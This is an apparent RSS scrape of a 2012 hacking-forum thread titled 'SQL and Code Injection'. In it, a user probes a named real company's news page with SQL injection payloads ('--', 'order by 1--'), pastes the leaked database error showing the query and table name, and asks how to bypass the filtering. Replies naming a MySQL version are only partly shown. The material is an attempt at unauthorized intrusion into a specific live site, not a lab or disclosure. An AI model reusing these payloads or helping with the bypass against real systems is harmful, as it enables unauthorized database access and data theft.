http://www.clearviewgroup.ca/news.php?newsid=16 http://www.clearviewgroup.ca/news.php?newsid=16-- work well http://www.clearviewgroup.ca/news.php?newsid=-16-- error in http://www.clearviewgroup.ca/news.php?newsid=16 order by 1-- " INVALID SQL: 1054 : Unknown column '20order' in 'where clause' SQL QUERY FAILURE: SELECT title, postdate, content FROM ht_news WHERE id = 16%20order%20by%201-- " how to bypass it ? http://sla.ckers.org/forum/read.php?16,47205,47205#msg-47205 Fri, 24 May 2013 12:05:42 -0500 Phorum 5.2.15a http://sla.ckers.org/forum/read.php?16,47205,47218#msg-47218 http://sla.ckers.org/forum/read.php?16,47205,47218#msg-47218 annen SQL and Code Injection Wed, 18 Apr 2012 21:21:12 -0500 http://sla.ckers.org/forum/read.php?16,47205,47216#msg-47216 http://sla.ckers.org/forum/read.php?16,47205,47216#msg-47216 Nerder SQL and Code Injection Wed, 18 Apr 2012 17:45:47 -0500 http://sla.ckers.org/forum/read.php?16,47205,47215#msg-47215 http://sla.ckers.org/forum/read.php?16,47205,47215#msg-47215
5.5.14

thanks to m4rkz...]]> Razor4x SQL and Code Injection Wed, 18 Apr 2012 12:17:05 -0500 http://sla.ckers.org/forum/read.php?16,47205,47205#msg-47205 http://sla.ckers.org/forum/read.php?16,47205,47205#msg-47205

http://www.clearviewgroup.ca/news.php?newsid=16-- work well
http://www.clearviewgroup.ca/news.php?newsid=-16-- error in

http://www.clearviewgroup.ca/news.php?newsid=16 order by 1--
"
INVALID SQL: 1054 : Unknown column '20order' in 'where clause'
SQL QUERY FAILURE: SELECT title, postdate, content FROM ht_news WHERE id = 16%20order%20by%201--
"
how to bypass it ?]]> annen SQL and Code Injection Wed, 18 Apr 2012 05:57:13 -0500